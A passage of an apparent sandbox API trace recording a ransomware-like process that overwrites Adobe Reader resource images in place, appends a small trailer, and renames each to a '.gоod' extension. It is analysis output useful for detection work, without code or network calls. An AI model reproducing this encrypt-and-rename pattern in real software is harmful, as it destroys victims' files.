lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0230.283] CloseHandle (hObject=0x85c) returned 1 [0230.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", lpFilePart=0x0) returned 0x80 [0230.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0230.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.283] GetFileType (hFile=0x85c) returned 0x1 [0230.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0230.284] GetFileType (hFile=0x85c) returned 0x1 [0230.284] ReadFile (in: hFile=0x85c, lpBuffer=0x36afda0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x36afda0*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0230.311] CloseHandle (hObject=0x85c) returned 1 [0230.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", lpFilePart=0x0) returned 0x80 [0230.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0230.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.311] GetFileType (hFile=0x85c) returned 0x1 [0230.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0230.311] GetFileType (hFile=0x85c) returned 0x1 [0230.311] WriteFile (in: hFile=0x85c, lpBuffer=0x36aea80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x36aea80*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0230.312] CloseHandle (hObject=0x85c) returned 1 [0230.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", lpFilePart=0x0) returned 0x80 [0230.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png.gоod", lpFilePart=0x0) returned 0x85 [0230.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0230.312] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x857cb627, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f)) returned 1 [0230.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0230.312] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png.gоod")) returned 1 [0230.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0230.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0230.313] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png"), fInfoLevelId=0x0, lpFileInformation=0x372c370 | out: lpFileInformation=0x372c370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f)) returned 1 [0230.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0230.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0230.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0230.313] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.314] GetFileType (hFile=0x85c) returned 0x1 [0230.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0230.314] GetFileType (hFile=0x85c) returned 0x1 [0230.314] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0230.314] ReadFile (in: hFile=0x85c, lpBuffer=0x372c848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x372c848*, lpNumberOfBytesRead=0x202ed778*=0xf7f, lpOverlapped=0x0) returned 1 [0230.316] CloseHandle (hObject=0x85c) returned 1 [0230.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0230.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0230.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.316] GetFileType (hFile=0x85c) returned 0x1 [0230.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0230.316] GetFileType (hFile=0x85c) returned 0x1 [0230.316] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1f7f [0230.316] WriteFile (in: hFile=0x85c, lpBuffer=0x372db40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x372db40*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0230.316] CloseHandle (hObject=0x85c) returned 1 [0230.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0230.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0230.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.317] GetFileType (hFile=0x85c) returned 0x1 [0230.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0230.317] GetFileType (hFile=0x85c) returned 0x1 [0230.317] ReadFile (in: hFile=0x85c, lpBuffer=0x372fe60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x372fe60*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0231.456] CloseHandle (hObject=0x85c) returned 1 [0231.456] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0231.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0231.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0231.456] GetFileType (hFile=0x85c) returned 0x1 [0231.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0231.457] GetFileType (hFile=0x85c) returned 0x1 [0231.457] WriteFile (in: hFile=0x85c, lpBuffer=0x362d7a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x362d7a0*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0231.457] CloseHandle (hObject=0x85c) returned 1 [0231.457] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0231.457] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png.gоod", lpFilePart=0x0) returned 0x80 [0231.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0231.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x862ba0ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f)) returned 1 [0231.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0231.457] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png.gоod")) returned 1 [0231.458] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0231.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0231.458] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif"), fInfoLevelId=0x0, lpFileInformation=0x39ea028 | out: lpFileInformation=0x39ea028*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7)) returned 1 [0231.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0231.459] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0231.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0231.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0231.459] GetFileType (hFile=0x85c) returned 0x1 [0231.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0231.459] GetFileType (hFile=0x85c) returned 0x1 [0231.459] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0231.459] ReadFile (in: hFile=0x85c, lpBuffer=0x39ea550, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x39ea550*, lpNumberOfBytesRead=0x202ed778*=0xfd7, lpOverlapped=0x0) returned 1 [0231.461] CloseHandle (hObject=0x85c) returned 1 [0231.461] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0231.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0231.461] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0231.461] GetFileType (hFile=0x85c) returned 0x1 [0231.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0231.461] GetFileType (hFile=0x85c) returned 0x1 [0231.461] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1fd7 [0231.461] WriteFile (in: hFile=0x85c, lpBuffer=0x39ee7a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x39ee7a8*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0231.462] CloseHandle (hObject=0x85c) returned 1 [0231.462] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0231.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0231.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0231.462] GetFileType (hFile=0x85c) returned 0x1 [0231.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0231.462] GetFileType (hFile=0x85c) returned 0x1 [0231.462] ReadFile (in: hFile=0x85c, lpBuffer=0x39f0ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x39f0ad8*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0231.880] CloseHandle (hObject=0x85c) returned 1 [0231.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0231.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0231.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0231.880] GetFileType (hFile=0x85c) returned 0x1 [0231.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0231.880] GetFileType (hFile=0x85c) returned 0x1 [0231.880] WriteFile (in: hFile=0x85c, lpBuffer=0x36f4ea8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x36f4ea8*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0231.880] CloseHandle (hObject=0x85c) returned 1 [0231.881] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif", lpFilePart=0x0) returned 0x7f [0231.881] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif.gоod", lpFilePart=0x0) returned 0x84 [0231.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0231.881] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x866c0043, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7)) returned 1 [0231.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0231.881] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif.gоod")) returned 1 [0231.882] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0231.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0231.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 